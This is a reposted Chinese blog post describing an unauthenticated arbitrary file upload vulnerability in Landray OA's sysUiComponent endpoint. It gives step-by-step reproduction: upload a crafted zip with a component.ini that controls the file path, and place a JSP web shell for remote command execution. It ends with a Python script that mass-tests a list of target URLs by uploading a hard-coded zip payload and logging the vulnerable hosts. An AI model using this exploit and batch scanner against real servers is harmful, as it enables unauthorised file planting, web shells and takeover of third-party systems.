0


蓝凌OA sysUiComponent 任意文件上传漏洞getshell(文末附批量检测poc)

蓝凌OA sysUiComponent 任意文件上传

漏洞概述
蓝凌OA sysUiComponent接口处存在任意文件上传漏洞,未经过身份认证的攻击者可通过构造压缩文件上传恶意后门文件,远程命令执行,获取服务器权限。

漏洞复现

  • 访问
http://ip:port/sys/ui/sys_ui_component/sysUiComponent.do?method=upload
  • 返回如下内容

在这里插入图片描述

  • 创建1.txt以及component.ini文件,其中1.txt为要上传的内容,component.ini内的id等于文件路径,name等于要上传的文件名。在这里插入图片描述
  • 将两个文件进行压缩为1.zip。在这里插入图片描述
  • 选择压缩文件1.zip,点击上传。在这里插入图片描述
  • 上传成功会返回如下内容:

在这里插入图片描述
访问

http://ip:port/resource/ui-component/2024/1.txt

在这里插入图片描述

靶场Getshell

将shell文件1.jsp,与component.ini文件压缩在一块上传。
在这里插入图片描述
上传成功后访问
在这里插入图片描述

在这里插入图片描述

批量检测POC

下面展示一些

内联代码片

# -*- coding: utf-8 -*-
import requests
from urlparse import urlparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from concurrent import futures
import threading
threads=[]
class poc:
    def __init__(self, url):
        self.url = url
        self.headers = {
            'User-Agent': 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',
            "Accept-Language": "en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
            "Accept-Encoding": "gzip, deflate",
        }

    def host(self):
        url = urlparse(self.url)
        netloc = url.netloc
        scheme = url.scheme
        return scheme, netloc

    def vuln(self, netloc, scheme):
        url = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo".format(scheme, netloc)
        data = {
            "file": ("test.zip", b"PK\x03\x04\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00123.txt123PK\x03\x04\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00component.iniid=2023\r\nname=123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x00123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00(\x00\x00\x00component.iniPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00p\x00\x00\x00h\x00\x00\x00\x00\x00", "application/zip")
        }
        self.headers["Referer"] = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=upload".format(scheme, netloc)
        try:
            result = requests.post(url=url, files=data, headers=self.headers, allow_redirects=False, verify=False, timeout=3)
            if result.status_code == 200 and "directoryPath" in result.text:
                print(url+u"漏洞存在")
                with open(r'2.txt', 'a+') as f:
                    f.write(url + '\n')
                    f.close()
                print(u"验证url为:{}://{}/resource/ui-component/2023/123.txt".format(scheme, netloc))
                return True
            else:
                print(url+u"漏洞不存在!")
                return False
        except Exception as e:
            print(url+u"漏洞不存在!")
            return False

    def main(self):
        all = self.host()
        scheme = all[0]
        netloc = all[1]
        self.vuln(netloc, scheme)

if __name__ == '__main__':
    with open('1.txt', 'r') as file:
        for line in file:
            url = line.strip()
            poc(url).main()

运行结果截图:
在这里插入图片描述
此人仅做知识分享,非法使用与我本人无关。

标签: 网络安全 安全

本文转载自: https://blog.csdn.net/qq_33906495/article/details/135220684
版权归原作者 KLKH 所有, 如有侵权,请联系我们删除。

“蓝凌OA sysUiComponent 任意文件上传漏洞getshell(文末附批量检测poc)”的评论:

还没有评论